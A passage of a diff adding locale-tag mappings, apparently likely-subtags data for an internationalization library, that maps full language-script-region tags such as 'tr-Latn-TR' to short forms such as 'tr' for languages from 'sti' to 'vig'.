+ "sti-Latn-VN": "sti",
+ "stj-Latn-BF": "stj",
+ "stk-Latn-ZZ": "stk",
+ "stl-Latn-NL": "stl",
+ "stm-Latn-PG": "stm",
+ "stn-Latn-SB": "stn",
+ "sto-Latn-CA": "sto",
+ "stp-Latn-MX": "stp",
+ "stq-Latn-DE": "stq",
+ "str-Latn-CA": "str",
+ "sts-Arab-AF": "sts",
+ "stt-Latn-VN": "stt",
+ "stv-Arab-ET": "stv-Arab",
+ "stv-Ethi-ET": "stv",
+ "stw-Latn-FM": "stw",
+ "sty-Cyrl-RU": "sty",
+ "su-Latn-ID": "su",
+ "su-Sund-ID": "su-Sund",
+ "sua-Latn-ZZ": "sua",
+ "sub-Latn-CD": "sub",
+ "suc-Latn-PH": "suc",
+ "sue-Latn-ZZ": "sue",
+ "sug-Latn-PG": "sug",
+ "sui-Latn-PG": "sui",
+ "suj-Latn-TZ": "suj",
+ "suk-Latn-TZ": "suk",
+ "suo-Latn-PG": "suo",
+ "suq-Ethi-ET": "suq-Ethi",
+ "suq-Latn-ET": "suq",
+ "sur-Latn-ZZ": "sur",
+ "sus-Latn-GN": "sus",
+ "sut-Latn-NI": "sut",
+ "suv-Beng-IN": "suv-Beng",
+ "suv-Deva-IN": "suv-Deva",
+ "suv-Latn-IN": "suv",
+ "suw-Latn-TZ": "suw",
+ "suy-Latn-BR": "suy",
+ "suz-Deva-NP": "suz",
+ "sv-Latn-AX": "sv-AX",
+ "sv-Latn-SE": "sv",
+ "sva-Cyrl-GE": "sva-Cyrl",
+ "sva-Geor-GE": "sva",
+ "sva-Latn-GE": "sva-Latn",
+ "svb-Latn-PG": "svb",
+ "svc-Latn-VC": "svc",
+ "sve-Latn-ID": "sve",
+ "svm-Latn-IT": "svm",
+ "svs-Latn-SB": "svs",
+ "sw-Latn-CD": "sw-CD",
+ "sw-Latn-KE": "sw-KE",
+ "sw-Latn-TZ": "sw",
+ "sw-Latn-UG": "sw-UG",
+ "swb-Arab-YT": "swb",
+ "swf-Latn-CD": "swf",
+ "swg-Latn-DE": "swg",
+ "swi-Hani-CN": "swi",
+ "swj-Latn-GA": "swj",
+ "swk-Latn-MW": "swk",
+ "swm-Latn-PG": "swm",
+ "swo-Latn-BR": "swo",
+ "swp-Latn-ZZ": "swp",
+ "swq-Latn-CM": "swq",
+ "swr-Latn-ID": "swr",
+ "sws-Latn-ID": "sws",
+ "swt-Latn-ID": "swt",
+ "swu-Latn-ID": "swu",
+ "swv-Deva-IN": "swv",
+ "sww-Latn-VU": "sww",
+ "swx-Latn-BR": "swx",
+ "swy-Latn-TD": "swy",
+ "sxb-Latn-KE": "sxb",
+ "sxe-Latn-GA": "sxe",
+ "sxn-Latn-ID": "sxn",
+ "sxr-Latn-TW": "sxr",
+ "sxs-Latn-NG": "sxs",
+ "sxu-Latn-DE": "sxu",
+ "sxu-Runr-DE": "sxu-Runr",
+ "sxw-Latn-ZZ": "sxw",
+ "sya-Latn-ID": "sya",
+ "syb-Latn-PH": "syb",
+ "syc-Syrc-TR": "syc",
+ "syi-Latn-GA": "syi",
+ "syk-Latn-NG": "syk",
+ "syl-Beng-BD": "syl",
+ "syl-Sylo-BD": "syl-Sylo",
+ "sym-Latn-BF": "sym",
+ "syn-Syrc-IR": "syn",
+ "syo-Latn-KH": "syo",
+ "syr-Syrc-IQ": "syr",
+ "sys-Latn-TD": "sys",
+ "syw-Deva-NP": "syw",
+ "syx-Latn-GA": "syx",
+ "sza-Latn-MY": "sza",
+ "szb-Latn-ID": "szb",
+ "szc-Latn-MY": "szc",
+ "szd-Latn-MY": "szd",
+ "szg-Latn-CD": "szg",
+ "szl-Latn-PL": "szl",
+ "szn-Latn-ID": "szn",
+ "szp-Latn-ID": "szp",
+ "szv-Latn-CM": "szv",
+ "szw-Latn-ID": "szw",
+ "szy-Latn-TW": "szy",
+ "ta-Taml-IN": "ta",
+ "taa-Latn-US": "taa",
+ "tab-Cyrl-RU": "tab",
+ "tac-Latn-MX": "tac",
+ "tad-Latn-ID": "tad",
+ "tae-Latn-BR": "tae",
+ "taf-Latn-BR": "taf",
+ "tag-Latn-SD": "tag",
+ "taj-Deva-NP": "taj",
+ "tak-Latn-NG": "tak",
+ "tal-Latn-ZZ": "tal",
+ "tan-Latn-ZZ": "tan",
+ "tao-Latn-TW": "tao",
+ "tap-Latn-CD": "tap",
+ "taq-Latn-ZZ": "taq",
+ "tar-Latn-MX": "tar",
+ "tas-Latn-VN": "tas",
+ "tau-Latn-US": "tau",
+ "tav-Latn-CO": "tav",
+ "taw-Latn-PG": "taw",
+ "tax-Latn-TD": "tax",
+ "tay-Hans-TW": "tay-Hans",
+ "tay-Hant-TW": "tay-Hant",
+ "tay-Latn-TW": "tay",
+ "taz-Latn-SD": "taz",
+ "tba-Latn-BR": "tba",
+ "tbc-Latn-ZZ": "tbc",
+ "tbd-Latn-ZZ": "tbd",
+ "tbe-Latn-SB": "tbe",
+ "tbf-Latn-ZZ": "tbf",
+ "tbg-Latn-ZZ": "tbg",
+ "tbh-Latn-AU": "tbh",
+ "tbi-Latn-SD": "tbi",
+ "tbj-Latn-PG": "tbj",
+ "tbk-Hano-PH": "tbk-Hano",
+ "tbk-Latn-PH": "tbk-Latn",
+ "tbk-Tagb-PH": "tbk",
+ "tbl-Latn-PH": "tbl",
+ "tbm-Latn-CD": "tbm",
+ "tbn-Latn-CO": "tbn",
+ "tbo-Latn-ZZ": "tbo",
+ "tbp-Latn-ID": "tbp",
+ "tbs-Latn-PG": "tbs",
+ "tbt-Latn-CD": "tbt",
+ "tbu-Latn-MX": "tbu",
+ "tbv-Latn-PG": "tbv",
+ "tbw-Latn-PH": "tbw",
+ "tbw-Tagb-PH": "tbw-Tagb",
+ "tbx-Latn-PG": "tbx",
+ "tby-Latn-ID": "tby",
+ "tbz-Latn-ZZ": "tbz",
+ "tca-Latn-BR": "tca",
+ "tcb-Latn-US": "tcb",
+ "tcc-Latn-TZ": "tcc",
+ "tcd-Latn-GH": "tcd",
+ "tce-Latn-CA": "tce",
+ "tcf-Latn-MX": "tcf",
+ "tcg-Latn-ID": "tcg",
+ "tch-Latn-TC": "tch",
+ "tci-Latn-ZZ": "tci",
+ "tck-Latn-GA": "tck",
+ "tcm-Latn-ID": "tcm",
+ "tcn-Tibt-NP": "tcn",
+ "tco-Mymr-MM": "tco",
+ "tcp-Latn-MM": "tcp",
+ "tcq-Latn-ID": "tcq",
+ "tcs-Latn-AU": "tcs",
+ "tcu-Latn-MX": "tcu",
+ "tcw-Latn-MX": "tcw",
+ "tcx-Taml-IN": "tcx",
+ "tcy-Knda-IN": "tcy",
+ "tcz-Latn-IN": "tcz",
+ "tda-Arab-NE": "tda-Arab",
+ "tda-Latn-NE": "tda-Latn",
+ "tda-Tfng-NE": "tda",
+ "tdb-Beng-IN": "tdb-Beng",
+ "tdb-Deva-IN": "tdb",
+ "tdb-Kthi-IN": "tdb-Kthi",
+ "tdc-Latn-CO": "tdc",
+ "tdd-Tale-CN": "tdd",
+ "tde-Latn-ML": "tde",
+ "tdg-Deva-NP": "tdg",
+ "tdh-Deva-NP": "tdh",
+ "tdi-Latn-ID": "tdi",
+ "tdj-Latn-ID": "tdj",
+ "tdk-Latn-NG": "tdk",
+ "tdl-Latn-NG": "tdl",
+ "tdm-Latn-GY": "tdm",
+ "tdn-Latn-ID": "tdn",
+ "tdo-Latn-NG": "tdo",
+ "tdq-Latn-NG": "tdq",
+ "tdr-Latn-VN": "tdr",
+ "tds-Latn-ID": "tds",
+ "tdt-Latn-TL": "tdt",
+ "tdv-Latn-NG": "tdv",
+ "tdx-Latn-MG": "tdx",
+ "tdy-Latn-PH": "tdy",
+ "te-Telu-IN": "te",
+ "tea-Latn-MY": "tea",
+ "teb-Latn-EC": "teb",
+ "tec-Latn-KE": "tec",
+ "ted-Latn-ZZ": "ted",
+ "tee-Latn-MX": "tee",
+ "teg-Latn-GA": "teg",
+ "teh-Latn-AR": "teh",
+ "tei-Latn-PG": "tei",
+ "tek-Latn-CD": "tek",
+ "tem-Latn-SL": "tem",
+ "ten-Latn-CO": "ten",
+ "teo-Latn-UG": "teo",
+ "tep-Latn-MX": "tep",
+ "teq-Latn-SD": "teq",
+ "ter-Latn-BR": "ter",
+ "tes-Java-ID": "tes",
+ "tet-Latn-TL": "tet",
+ "teu-Latn-UG": "teu",
+ "tev-Latn-ID": "tev",
+ "tew-Latn-US": "tew",
+ "tex-Latn-SS": "tex",
+ "tey-Latn-SD": "tey",
+ "tfi-Latn-ZZ": "tfi",
+ "tfn-Latn-US": "tfn",
+ "tfo-Latn-ID": "tfo",
+ "tfr-Latn-PA": "tfr",
+ "tft-Latn-ID": "tft",
+ "tg-Arab-PK": "tg-PK",
+ "tg-Cyrl-TJ": "tg",
+ "tga-Latn-KE": "tga",
+ "tgb-Latn-MY": "tgb",
+ "tgc-Latn-ZZ": "tgc",
+ "tgd-Latn-NG": "tgd",
+ "tge-Deva-NP": "tge",
+ "tgf-Tibt-BT": "tgf",
+ "tgh-Latn-TT": "tgh",
+ "tgi-Latn-PG": "tgi",
+ "tgj-Latn-IN": "tgj",
+ "tgn-Latn-PH": "tgn",
+ "tgo-Latn-ZZ": "tgo",
+ "tgp-Latn-VU": "tgp",
+ "tgq-Latn-MY": "tgq",
+ "tgs-Latn-VU": "tgs",
+ "tgt-Hano-PH": "tgt-Hano",
+ "tgt-Latn-PH": "tgt",
+ "tgt-Tagb-PH": "tgt-Tagb",
+ "tgu-Latn-ZZ": "tgu",
+ "tgv-Latn-BR": "tgv",
+ "tgw-Latn-CI": "tgw",
+ "tgx-Latn-CA": "tgx",
+ "tgy-Latn-SS": "tgy",
+ "tgz-Latn-AU": "tgz",
+ "th-Thai-TH": "th",
+ "thd-Latn-AU": "thd",
+ "the-Deva-NP": "the",
+ "thf-Deva-NP": "thf",
+ "thh-Latn-MX": "thh",
+ "thi-Tale-LA": "thi",
+ "thk-Latn-KE": "thk",
+ "thl-Deva-NP": "thl",
+ "thm-Thai-TH": "thm",
+ "thp-Dupl-CA": "thp-Dupl",
+ "thp-Latn-CA": "thp",
+ "thq-Deva-NP": "thq",
+ "thr-Deva-NP": "thr",
+ "ths-Deva-NP": "ths",
+ "tht-Latn-CA": "tht",
+ "thu-Latn-SS": "thu",
+ "thv-Arab-DZ": "thv-Arab",
+ "thv-Latn-DZ": "thv",
+ "thv-Tfng-DZ": "thv-Tfng",
+ "thy-Latn-NG": "thy",
+ "thz-Latn-NE": "thz",
+ "thz-Tfng-NE": "thz-Tfng",
+ "ti-Ethi-ER": "ti-ER",
+ "ti-Ethi-ET": "ti",
+ "tic-Latn-SD": "tic",
+ "tif-Latn-ZZ": "tif",
+ "tig-Ethi-ER": "tig",
+ "tih-Latn-MY": "tih",
+ "tii-Latn-CD": "tii",
+ "tij-Deva-NP": "tij",
+ "tik-Latn-ZZ": "tik",
+ "til-Latn-US": "til",
+ "tim-Latn-ZZ": "tim",
+ "tin-Cyrl-RU": "tin",
+ "tio-Latn-ZZ": "tio",
+ "tip-Latn-ID": "tip",
+ "tiq-Latn-BF": "tiq",
+ "tis-Latn-PH": "tis",
+ "tit-Latn-CO": "tit",
+ "tiu-Latn-PH": "tiu",
+ "tiv-Latn-NG": "tiv",
+ "tiw-Latn-AU": "tiw",
+ "tix-Latn-US": "tix",
+ "tiy-Latn-PH": "tiy",
+ "tja-Latn-LR": "tja",
+ "tjg-Latn-ID": "tjg",
+ "tji-Latn-CN": "tji",
+ "tjj-Latn-AU": "tjj",
+ "tjl-Mymr-MM": "tjl",
+ "tjn-Latn-CI": "tjn",
+ "tjo-Arab-DZ": "tjo",
+ "tjp-Latn-AU": "tjp",
+ "tjs-Latn-CN": "tjs",
+ "tju-Latn-AU": "tju",
+ "tjw-Latn-AU": "tjw",
+ "tk-Latn-AF": "tk-AF",
+ "tk-Latn-IR": "tk-IR",
+ "tk-Latn-TM": "tk",
+ "tka-Latn-BR": "tka",
+ "tkb-Deva-IN": "tkb",
+ "tkd-Latn-TL": "tkd",
+ "tke-Latn-MZ": "tke",
+ "tkf-Latn-BR": "tkf",
+ "tkg-Latn-MG": "tkg",
+ "tkl-Latn-TK": "tkl",
+ "tkp-Latn-SB": "tkp",
+ "tkq-Latn-NG": "tkq",
+ "tkr-Latn-AZ": "tkr",
+ "tks-Arab-IR": "tks",
+ "tkt-Deva-NP": "tkt",
+ "tku-Latn-MX": "tku",
+ "tkv-Latn-PG": "tkv",
+ "tkw-Latn-SB": "tkw",
+ "tkx-Latn-ID": "tkx",
+ "tkz-Latn-VN": "tkz",
+ "tla-Latn-MX": "tla",
+ "tlb-Latn-ID": "tlb",
+ "tlc-Latn-MX": "tlc",
+ "tld-Latn-ID": "tld",
+ "tlf-Latn-ZZ": "tlf",
+ "tlg-Latn-ID": "tlg",
+ "tli-Cyrl-US": "tli-Cyrl",
+ "tli-Latn-US": "tli",
+ "tlj-Latn-UG": "tlj",
+ "tlk-Latn-ID": "tlk",
+ "tll-Latn-CD": "tll",
+ "tlm-Latn-VU": "tlm",
+ "tln-Latn-ID": "tln",
+ "tlp-Latn-MX": "tlp",
+ "tlq-Latn-MM": "tlq",
+ "tlr-Latn-SB": "tlr",
+ "tls-Latn-VU": "tls",
+ "tlt-Latn-ID": "tlt",
+ "tlu-Latn-ID": "tlu",
+ "tlv-Latn-ID": "tlv",
+ "tlx-Latn-ZZ": "tlx",
+ "tly-Latn-AZ": "tly",
+ "tma-Latn-TD": "tma",
+ "tmb-Latn-VU": "tmb",
+ "tmc-Latn-TD": "tmc",
+ "tmd-Latn-PG": "tmd",
+ "tme-Latn-BR": "tme",
+ "tmf-Latn-PY": "tmf",
+ "tmg-Latn-ID": "tmg",
+ "tmh-Latn-NE": "tmh",
+ "tmi-Latn-VU": "tmi",
+ "tmj-Latn-ID": "tmj",
+ "tmk-Deva-NP": "tmk",
+ "tml-Latn-ID": "tml",
+ "tmm-Latn-VN": "tmm",
+ "tmn-Latn-ID": "tmn",
+ "tmo-Latn-MY": "tmo",
+ "tmq-Latn-PG": "tmq",
+ "tmr-Syrc-IL": "tmr",
+ "tmt-Latn-VU": "tmt",
+ "tmu-Latn-ID": "tmu",
+ "tmv-Latn-CD": "tmv",
+ "tmw-Latn-MY": "tmw",
+ "tmy-Latn-ZZ": "tmy",
+ "tmz-Latn-VE": "tmz",
+ "tn-Latn-ZA": "tn",
+ "tna-Latn-BO": "tna",
+ "tnb-Latn-CO": "tnb",
+ "tnc-Latn-CO": "tnc",
+ "tnd-Latn-CO": "tnd",
+ "tng-Latn-TD": "tng",
+ "tnh-Latn-ZZ": "tnh",
+ "tni-Latn-ID": "tni",
+ "tnk-Latn-VU": "tnk",
+ "tnl-Latn-VU": "tnl",
+ "tnm-Latn-ID": "tnm",
+ "tnn-Latn-VU": "tnn",
+ "tno-Latn-BO": "tno",
+ "tnp-Latn-VU": "tnp",
+ "tnq-Latn-PR": "tnq",
+ "tnr-Latn-SN": "tnr",
+ "tns-Latn-PG": "tns",
+ "tnt-Latn-ID": "tnt",
+ "tnv-Cakm-BD": "tnv",
+ "tnw-Latn-ID": "tnw",
+ "tnx-Latn-SB": "tnx",
+ "tny-Latn-TZ": "tny",
+ "to-Latn-TO": "to",
+ "tob-Latn-AR": "tob",
+ "toc-Latn-MX": "toc",
+ "tod-Latn-GN": "tod",
+ "tof-Latn-ZZ": "tof",
+ "tog-Latn-MW": "tog",
+ "toh-Latn-MZ": "toh",
+ "toi-Latn-ZM": "toi",
+ "toj-Latn-MX": "toj",
+ "tok-Latn-001": "tok",
+ "tol-Latn-US": "tol",
+ "tom-Latn-ID": "tom",
+ "too-Latn-MX": "too",
+ "top-Latn-MX": "top",
+ "toq-Latn-ZZ": "toq",
+ "tor-Latn-CD": "tor",
+ "tos-Latn-MX": "tos",
+ "tou-Latn-VN": "tou",
+ "tov-Arab-IR": "tov",
+ "tow-Latn-US": "tow",
+ "tox-Latn-PW": "tox",
+ "toy-Latn-ID": "toy",
+ "toz-Latn-CM": "toz",
+ "tpa-Latn-PG": "tpa",
+ "tpc-Latn-MX": "tpc",
+ "tpe-Beng-BD": "tpe-Beng",
+ "tpe-Latn-BD": "tpe",
+ "tpf-Latn-ID": "tpf",
+ "tpg-Latn-ID": "tpg",
+ "tpi-Latn-PG": "tpi",
+ "tpj-Latn-PY": "tpj",
+ "tpk-Latn-BR": "tpk",
+ "tpl-Latn-MX": "tpl",
+ "tpm-Latn-ZZ": "tpm",
+ "tpn-Latn-BR": "tpn",
+ "tpp-Latn-MX": "tpp",
+ "tpr-Latn-BR": "tpr",
+ "tpt-Latn-MX": "tpt",
+ "tpu-Khmr-KH": "tpu",
+ "tpv-Latn-MP": "tpv",
+ "tpx-Latn-MX": "tpx",
+ "tpy-Latn-BR": "tpy",
+ "tpz-Latn-ZZ": "tpz",
+ "tqb-Latn-BR": "tqb",
+ "tql-Latn-VU": "tql",
+ "tqm-Latn-PG": "tqm",
+ "tqn-Latn-US": "tqn",
+ "tqo-Latn-ZZ": "tqo",
+ "tqp-Latn-PG": "tqp",
+ "tqt-Latn-MX": "tqt",
+ "tqu-Latn-SB": "tqu",
+ "tqw-Latn-US": "tqw",
+ "tr-Latn-CY": "tr-CY",
+ "tr-Latn-TR": "tr",
+ "tra-Arab-AF": "tra",
+ "trb-Latn-PG": "trb",
+ "trc-Latn-MX": "trc",
+ "tre-Latn-ID": "tre",
+ "trf-Latn-TT": "trf",
+ "trg-Hebr-IL": "trg",
+ "trh-Latn-PG": "trh",
+ "tri-Latn-SR": "tri",
+ "trj-Latn-TD": "trj",
+ "trl-Latn-GB": "trl",
+ "trm-Arab-AF": "trm",
+ "trn-Latn-BO": "trn",
+ "tro-Latn-IN": "tro",
+ "trp-Beng-IN": "trp-Beng",
+ "trp-Latn-IN": "trp",
+ "trq-Latn-MX": "trq",
+ "trr-Latn-PE": "trr",
+ "trs-Latn-MX": "trs",
+ "trt-Latn-ID": "trt",
+ "tru-Latn-TR": "tru",
+ "trv-Latn-TW": "trv",
+ "trw-Arab-PK": "trw",
+ "trx-Latn-MY": "trx",
+ "try-Latn-IN": "try",
+ "trz-Latn-BR": "trz",
+ "ts-Latn-ZA": "ts",
+ "tsa-Latn-CG": "tsa",
+ "tsb-Latn-ET": "tsb",
+ "tsc-Latn-MZ": "tsc",
+ "tsd-Grek-GR": "tsd",
+ "tsg-Latn-PH": "tsg",
+ "tsh-Latn-CM": "tsh",
+ "tsi-Latn-CA": "tsi",
+ "tsj-Tibt-BT": "tsj",
+ "tsl-Latn-VN": "tsl",
+ "tsp-Latn-BF": "tsp",
+ "tsr-Latn-VU": "tsr",
+ "tst-Latn-ML": "tst",
+ "tsu-Latn-TW": "tsu",
+ "tsv-Latn-GA": "tsv",
+ "tsw-Latn-ZZ": "tsw",
+ "tsx-Latn-PG": "tsx",
+ "tsz-Latn-MX": "tsz",
+ "tt-Cyrl-RU": "tt",
+ "ttb-Latn-NG": "ttb",
+ "ttc-Latn-GT": "ttc",
+ "ttd-Latn-ZZ": "ttd",
+ "tte-Latn-ZZ": "tte",
+ "ttf-Latn-CM": "ttf",
+ "tth-Laoo-LA": "tth",
+ "tti-Latn-ID": "tti",
+ "ttj-Latn-UG": "ttj",
+ "ttk-Latn-CO": "ttk",
+ "ttl-Latn-ZM": "ttl",
+ "ttm-Latn-CA": "ttm",
+ "ttn-Latn-ID": "ttn",
+ "tto-Laoo-LA": "tto",
+ "ttp-Latn-ID": "ttp",
+ "ttr-Latn-ZZ": "ttr",
+ "tts-Thai-TH": "tts",
+ "ttt-Latn-AZ": "ttt",
+ "ttu-Latn-PG": "ttu",
+ "ttv-Latn-PG": "ttv",
+ "ttw-Latn-MY": "ttw",
+ "tty-Latn-ID": "tty",
+ "tua-Latn-PG": "tua",
+ "tub-Latn-US": "tub",
+ "tuc-Latn-PG": "tuc",
+ "tud-Latn-BR": "tud",
+ "tue-Latn-CO": "tue",
+ "tuf-Latn-CO": "tuf",
+ "tug-Latn-TD": "tug",
+ "tuh-Latn-ZZ": "tuh",
+ "tui-Latn-CM": "tui",
+ "tuj-Latn-ID": "tuj",
+ "tul-Latn-ZZ": "tul",
+ "tum-Latn-MW": "tum",
+ "tun-Latn-US": "tun",
+ "tuo-Latn-BR": "tuo",
+ "tuq-Latn-ZZ": "tuq",
+ "tus-Latn-CA": "tus",
+ "tuu-Latn-US": "tuu",
+ "tuv-Latn-KE": "tuv",
+ "tux-Latn-BR": "tux",
+ "tuy-Latn-KE": "tuy",
+ "tuz-Latn-BF": "tuz",
+ "tva-Latn-SB": "tva",
+ "tvd-Latn-ZZ": "tvd",
+ "tve-Latn-ID": "tve",
+ "tvk-Latn-VU": "tvk",
+ "tvl-Latn-TV": "tvl",
+ "tvm-Latn-ID": "tvm",
+ "tvn-Mymr-MM": "tvn",
+ "tvo-Latn-ID": "tvo",
+ "tvs-Latn-KE": "tvs",
+ "tvt-Latn-IN": "tvt",
+ "tvu-Latn-ZZ": "tvu",
+ "tvw-Latn-ID": "tvw",
+ "tvx-Latn-TW": "tvx",
+ "twa-Latn-US": "twa",
+ "twb-Latn-PH": "twb",
+ "twd-Latn-NL": "twd",
+ "twe-Latn-ID": "twe",
+ "twf-Latn-US": "twf",
+ "twg-Latn-ID": "twg",
+ "twh-Latn-ZZ": "twh",
+ "twl-Latn-MZ": "twl",
+ "twm-Deva-IN": "twm",
+ "twn-Latn-CM": "twn",
+ "two-Latn-BW": "two",
+ "twp-Latn-PG": "twp",
+ "twq-Latn-NE": "twq",
+ "twr-Latn-MX": "twr",
+ "twt-Latn-BR": "twt",
+ "twu-Latn-ID": "twu",
+ "tww-Latn-PG": "tww",
+ "twx-Latn-MZ": "twx",
+ "twy-Latn-ID": "twy",
+ "txa-Latn-MY": "txa",
+ "txe-Latn-ID": "txe",
+ "txg-Tang-CN": "txg",
+ "txi-Latn-BR": "txi",
+ "txj-Latn-NG": "txj",
+ "txm-Latn-ID": "txm",
+ "txn-Latn-ID": "txn",
+ "txo-Toto-IN": "txo",
+ "txq-Latn-ID": "txq",
+ "txs-Latn-ID": "txs",
+ "txt-Latn-ID": "txt",
+ "txu-Latn-BR": "txu",
+ "txx-Latn-MY": "txx",
+ "txy-Latn-MG": "txy",
+ "ty-Latn-PF": "ty",
+ "tya-Latn-ZZ": "tya",
+ "tye-Latn-NG": "tye",
+ "tyh-Latn-VN": "tyh",
+ "tyi-Latn-CG": "tyi",
+ "tyj-Latn-VN": "tyj",
+ "tyl-Latn-VN": "tyl",
+ "tyn-Latn-ID": "tyn",
+ "typ-Latn-AU": "typ",
+ "tyr-Tavt-VN": "tyr",
+ "tys-Latn-VN": "tys",
+ "tyt-Latn-VN": "tyt",
+ "tyt-Tavt-VN": "tyt-Tavt",
+ "tyu-Latn-BW": "tyu",
+ "tyv-Cyrl-RU": "tyv",
+ "tyx-Latn-CG": "tyx",
+ "tyy-Latn-NG": "tyy",
+ "tyz-Latn-VN": "tyz",
+ "tzh-Latn-MX": "tzh",
+ "tzj-Latn-GT": "tzj",
+ "tzl-Latn-001": "tzl",
+ "tzm-Latn-MA": "tzm",
+ "tzn-Latn-ID": "tzn",
+ "tzo-Latn-MX": "tzo",
+ "tzx-Latn-PG": "tzx",
+ "uam-Latn-BR": "uam",
+ "uar-Latn-PG": "uar",
+ "uba-Latn-NG": "uba",
+ "ubi-Latn-TD": "ubi",
+ "ubl-Latn-PH": "ubl",
+ "ubr-Latn-PG": "ubr",
+ "ubu-Latn-ZZ": "ubu",
+ "uda-Latn-NG": "uda",
+ "ude-Cyrl-RU": "ude",
+ "udg-Mlym-IN": "udg",
+ "udi-Aghb-RU": "udi",
+ "udj-Latn-ID": "udj",
+ "udl-Latn-CM": "udl",
+ "udm-Cyrl-RU": "udm",
+ "udu-Latn-SD": "udu",
+ "ues-Latn-ID": "ues",
+ "ufi-Latn-PG": "ufi",
+ "ug-Arab-CN": "ug",
+ "ug-Cyrl-KZ": "ug-KZ",
+ "ug-Cyrl-MN": "ug-MN",
+ "uga-Ugar-SY": "uga",
+ "ugb-Latn-AU": "ugb",
+ "uge-Latn-SB": "uge",
+ "ugh-Cyrl-RU": "ugh",
+ "ugo-Thai-TH": "ugo",
+ "uha-Latn-NG": "uha",
+ "uhn-Latn-ID": "uhn",
+ "uis-Latn-PG": "uis",
+ "uiv-Latn-CM": "uiv",
+ "uji-Latn-NG": "uji",
+ "uk-Cyrl-MD": "uk-MD",
+ "uk-Cyrl-SK": "uk-SK",
+ "uk-Cyrl-UA": "uk",
+ "uka-Latn-ID": "uka",
+ "ukg-Latn-PG": "ukg",
+ "ukh-Latn-CF": "ukh",
+ "uki-Orya-IN": "uki",
+ "ukk-Latn-MM": "ukk",
+ "ukp-Latn-NG": "ukp",
+ "ukq-Latn-NG": "ukq",
+ "uku-Latn-NG": "uku",
+ "ukv-Latn-SS": "ukv",
+ "ukw-Latn-NG": "ukw",
+ "uky-Latn-AU": "uky",
+ "ula-Latn-NG": "ula",
+ "ulb-Latn-NG": "ulb",
+ "ulc-Cyrl-RU": "ulc",
+ "ule-Latn-AR": "ule",
+ "ulf-Latn-ID": "ulf",
+ "uli-Latn-FM": "uli",
+ "ulk-Latn-AU": "ulk",
+ "ulm-Latn-ID": "ulm",
+ "uln-Latn-PG": "uln",
+ "ulu-Latn-ID": "ulu",
+ "ulw-Latn-NI": "ulw",
+ "uma-Latn-US": "uma",
+ "umb-Latn-AO": "umb",
+ "umd-Latn-AU": "umd",
+ "umg-Latn-AU": "umg",
+ "umi-Latn-MY": "umi",
+ "umm-Latn-NG": "umm",
+ "umn-Latn-MM": "umn",
+ "umo-Latn-BR": "umo",
+ "ump-Latn-AU": "ump",
+ "umr-Latn-AU": "umr",
+ "ums-Latn-ID": "ums",
+ "una-Latn-PG": "una",
+ "und-Cpmn-CY": "und-Cpmn",
+ "und-Latn-AQ": "und-AQ",
+ "und-Latn-BV": "und-BV",
+ "und-Latn-CP": "und-CP",
+ "und-Latn-GS": "und-GS",
+ "und-Latn-HM": "und-HM",
+ "une-Latn-NG": "une",
+ "ung-Latn-AU": "ung",
+ "uni-Latn-PG": "uni",
+ "unk-Latn-BR": "unk",
+ "unm-Latn-US": "unm",
+ "unn-Latn-AU": "unn",
+ "unr-Beng-IN": "unr",
+ "unr-Deva-NP": "unr-NP",
+ "unr-Nagm-IN": "unr-Nagm",
+ "unu-Latn-PG": "unu",
+ "unx-Beng-IN": "unx",
+ "unz-Latn-ID": "unz",
+ "uon-Latn-TW": "uon",
+ "upi-Latn-PG": "upi",
+ "upv-Latn-VU": "upv",
+ "ur-Arab-GB": "ur-GB",
+ "ur-Arab-IN": "ur-IN",
+ "ur-Arab-MU": "ur-MU",
+ "ur-Arab-PK": "ur",
+ "ura-Latn-PE": "ura",
+ "urb-Latn-BR": "urb",
+ "urc-Latn-AU": "urc",
+ "ure-Latn-BO": "ure",
+ "urf-Latn-AU": "urf",
+ "urg-Latn-PG": "urg",
+ "urh-Latn-NG": "urh",
+ "uri-Latn-ZZ": "uri",
+ "urk-Thai-TH": "urk",
+ "urm-Latn-PG": "urm",
+ "urn-Latn-ID": "urn",
+ "uro-Latn-PG": "uro",
+ "urp-Latn-BR": "urp",
+ "urr-Latn-VU": "urr",
+ "urt-Latn-ZZ": "urt",
+ "uru-Latn-BR": "uru",
+ "urv-Latn-PG": "urv",
+ "urw-Latn-ZZ": "urw",
+ "urx-Latn-PG": "urx",
+ "ury-Latn-ID": "ury",
+ "urz-Latn-BR": "urz",
+ "usa-Latn-ZZ": "usa",
+ "ush-Arab-PK": "ush",
+ "usi-Beng-BD": "usi-Beng",
+ "usi-Latn-BD": "usi",
+ "usk-Latn-CM": "usk",
+ "usp-Latn-GT": "usp",
+ "uss-Latn-NG": "uss",
+ "usu-Latn-PG": "usu",
+ "uta-Latn-NG": "uta",
+ "ute-Latn-US": "ute",
+ "uth-Latn-ZZ": "uth",
+ "utp-Latn-SB": "utp",
+ "utr-Latn-ZZ": "utr",
+ "utu-Latn-PG": "utu",
+ "uum-Cyrl-GE": "uum-Cyrl",
+ "uum-Grek-GE": "uum",
+ "uur-Latn-VU": "uur",
+ "uve-Latn-NC": "uve",
+ "uvh-Latn-ZZ": "uvh",
+ "uvl-Latn-ZZ": "uvl",
+ "uwa-Latn-AU": "uwa",
+ "uya-Latn-NG": "uya",
+ "uz-Arab-AF": "uz-AF",
+ "uz-Cyrl-CN": "uz-CN",
+ "uz-Latn-UZ": "uz",
+ "uzs-Arab-AF": "uzs",
+ "vaa-Taml-IN": "vaa",
+ "vae-Latn-CF": "vae",
+ "vaf-Arab-IR": "vaf",
+ "vag-Latn-ZZ": "vag",
+ "vah-Deva-IN": "vah",
+ "vai-Vaii-LR": "vai",
+ "vaj-Latn-NA": "vaj",
+ "val-Latn-PG": "val",
+ "vam-Latn-PG": "vam",
+ "van-Latn-ZZ": "van",
+ "vao-Latn-VU": "vao",
+ "vap-Latn-IN": "vap",
+ "var-Latn-MX": "var",
+ "vas-Deva-IN": "vas",
+ "vas-Gujr-IN": "vas-Gujr",
+ "vau-Latn-CD": "vau",
+ "vav-Deva-IN": "vav",
+ "vav-Gujr-IN": "vav-Gujr",
+ "vay-Deva-NP": "vay",
+ "vbb-Latn-ID": "vbb",
+ "vbk-Latn-PH": "vbk",
+ "ve-Latn-ZA": "ve",
+ "vec-Latn-IT": "vec",
+ "vem-Latn-NG": "vem",
+ "veo-Latn-US": "veo",
+ "vep-Latn-RU": "vep",
+ "ver-Latn-NG": "ver",
+ "vgr-Arab-PK": "vgr",
+ "vi-Latn-VN": "vi",
+ "vic-Latn-SX": "vic",
+ "vid-Latn-TZ": "vid",
+ "vif-Latn-CG": "vif",
+ "vig-Latn-BF": "vig",
